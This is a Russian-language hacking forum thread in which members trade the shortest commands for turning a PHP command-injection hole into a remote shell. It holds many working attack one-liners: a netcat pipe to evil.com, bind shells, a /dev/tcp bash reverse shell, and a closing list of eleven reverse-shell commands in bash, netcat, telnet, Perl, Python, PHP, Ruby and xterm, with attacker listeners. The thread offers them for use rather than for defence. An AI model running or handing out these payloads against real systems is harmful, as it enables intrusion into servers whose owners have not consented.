Старый 28.02.2013, 13:26   #1
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию Короткий шелл

Задался целью написания короткого шелла для RCE типа
Код:
system("stat {$_GET['a']}");
Цитата:
Еще раз для уточнения - ищется sh-based shell, то есть RCE готовая, но надо прокинуть шелл в одну команду.
В жизни очень часто бывает, когда твои кластер и ты не сможешь записать файл, скажем, и потом попасть следующим запросом на ту же ноду, приходится срать файлами, пока не заполнишь все ноды, или же дергать ноды, пока не попадешь второй раз на ту, где файл записался. На деле, когда нод тысячи это уже напрягает.
пока самый простой вариант:
Код:
|nc evil.com 12345|sh|
Есть проще идеи?
Важно не использовать лишних символов, не попадать на зависимости и проч.
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 03.03.2013 в 08:35..
d0znpp вне форума   Ответить с цитированием
Старый 28.02.2013, 14:25   #2
Abadd0N
 
Регистрация: 04.11.2011
Сообщений: 29
Репутация: 0
По умолчанию

echo `$_GET['a']`

ну либо вообще без вывода, просто `$_GET['a']` и делать выводы в файл
P.S. Лучше юзать POST

Последний раз редактировалось Abadd0N; 28.02.2013 в 14:29..
Abadd0N вне форума   Ответить с цитированием
Старый 28.02.2013, 14:28   #3
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

ну и как ты это пропихнешь через готовый system вызов? это РНР шелл, а я про шелл из команд ОС
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 28.02.2013, 16:23   #4
spari
 
Регистрация: 10.09.2012
Сообщений: 46
Репутация: 24
По умолчанию

system($_GET[c]);
passthru($_GET[c]);
exec($_GET[c]);
shell_exec($_GET[c]);

&c=ls -la
if there is a problem with "cannot execute a blank command",like you want it to be hidden,you can always add this to the script-
<?error_reporting(0);system($_GET[c]);?>

Последний раз редактировалось spari; 28.02.2013 в 16:28..
spari вне форума   Ответить с цитированием
Старый 28.02.2013, 16:58   #5
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

У ребят трудности перевода, но я если честно тоже не понял вопрос

У тебя и так шелл через system, "a=|ls" или что нужно то?
Именно консоль повесить? Как то детектить что код работает если нет вывода? System как пример дан, а на самом деле ты хочешь блекбоксом детектить RCE ?

Вобщем нипанятна... )
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 28.02.2013, 18:19   #6
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

ему нужна самая короткая эксплуатация для rce
>Есть проще идеи?
ммм, наверно нет( может в сторону биндов
|nc xx.com 80|sh - 16
|nc -lp 1024|sh - 15 (без вывода/хардкор))
если есть возможность создавать файлы,то
|perl /tmp/x - 12
|php /tmp/x - 11
.. а если и выставлять права,то ..)) шутка)
l1ght вне форума   Ответить с цитированием
Старый 28.02.2013, 19:29   #7
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 353
Репутация: 105
По умолчанию

Проблема только биндов в том что netcat редко где есть.
Может такой вариант прокатит, не доводилось еще
Цитата:
system("/bin/bash -i > /dev/tcp/192.168.0.100/31337 0<&1 2>&1");
b3 вне форума   Ответить с цитированием
Старый 03.03.2013, 08:35   #8
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

l1ght, b3, спасибо вам, вы поняли задачу!

Еще раз для уточнения - ищется sh-based shell, то есть RCE готовая, но надо прокинуть шелл в одну команду.
В жизни очень часто бывает, когда твои кластер и ты не сможешь записать файл, скажем, и потом попасть следующим запросом на ту же ноду, приходится срать файлами, пока не заполнишь все ноды, или же дергать ноды, пока не попадешь второй раз на ту, где файл записался. На деле, когда нод тысячи это уже напрягает.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 03.03.2013, 08:39   #9
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от b3 Посмотреть сообщение
Проблема только биндов в том что netcat редко где есть.
Может такой вариант прокатит, не доводилось еще
отличный вариант! у меня был nc, но не было / в жизни
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 03.03.2013, 13:20   #10
it's my
 
Регистрация: 06.07.2010
Сообщений: 39
Репутация: 11
По умолчанию

Код:
1. NETCAT with GAPING_SECURITY_HOLE enabled:
TARGET: nc 192.168.1.133 8080 -e /bin/bash
ATTACKER: nc -n -vv -l -p 8080

2. NETCAT with GAPING_SECURITY_HOLE disabled:
TARGET: mknod backpipe p && nc 192.168.1.133 8080 0<backpipe | /bin/bash 1>backpipe
ATTACKER: nc -n -vv -l -p 8080

3. Don’t have NETCAT, then try the /dev/tcp socket method:
TARGET: /bin/bash -i > /dev/tcp/192.168.1.133/8080 0<&1 2>&1
ATTACKER: nc -n -vv -l -p 8080

4. Don’t have access to NETCAT or  dev/tcp? We can try using a telnet and backpipe to execute commands, like so:
TARGET: mknod backpipe p && telnet 192.168.1.133 8080 0<backpipe | /bin/bash 1>backpipe
ATTACKER: nc -n -vv -l -p 8080

5. Telnet – Plan B method using piped connections:
TARGET: telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 8888
ATTACKER: nc -n -vv -l -p 8080
ATTACKER2: nc -n -vv -l -p 8888

6. Using straight BASH:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

7. Inline Perl:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

8. Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec?t(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

9. Inline PHP:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

10. Ruby:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

11. Using Xterm (if available):
xterm -display 10.0.0.1:1
it's my вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot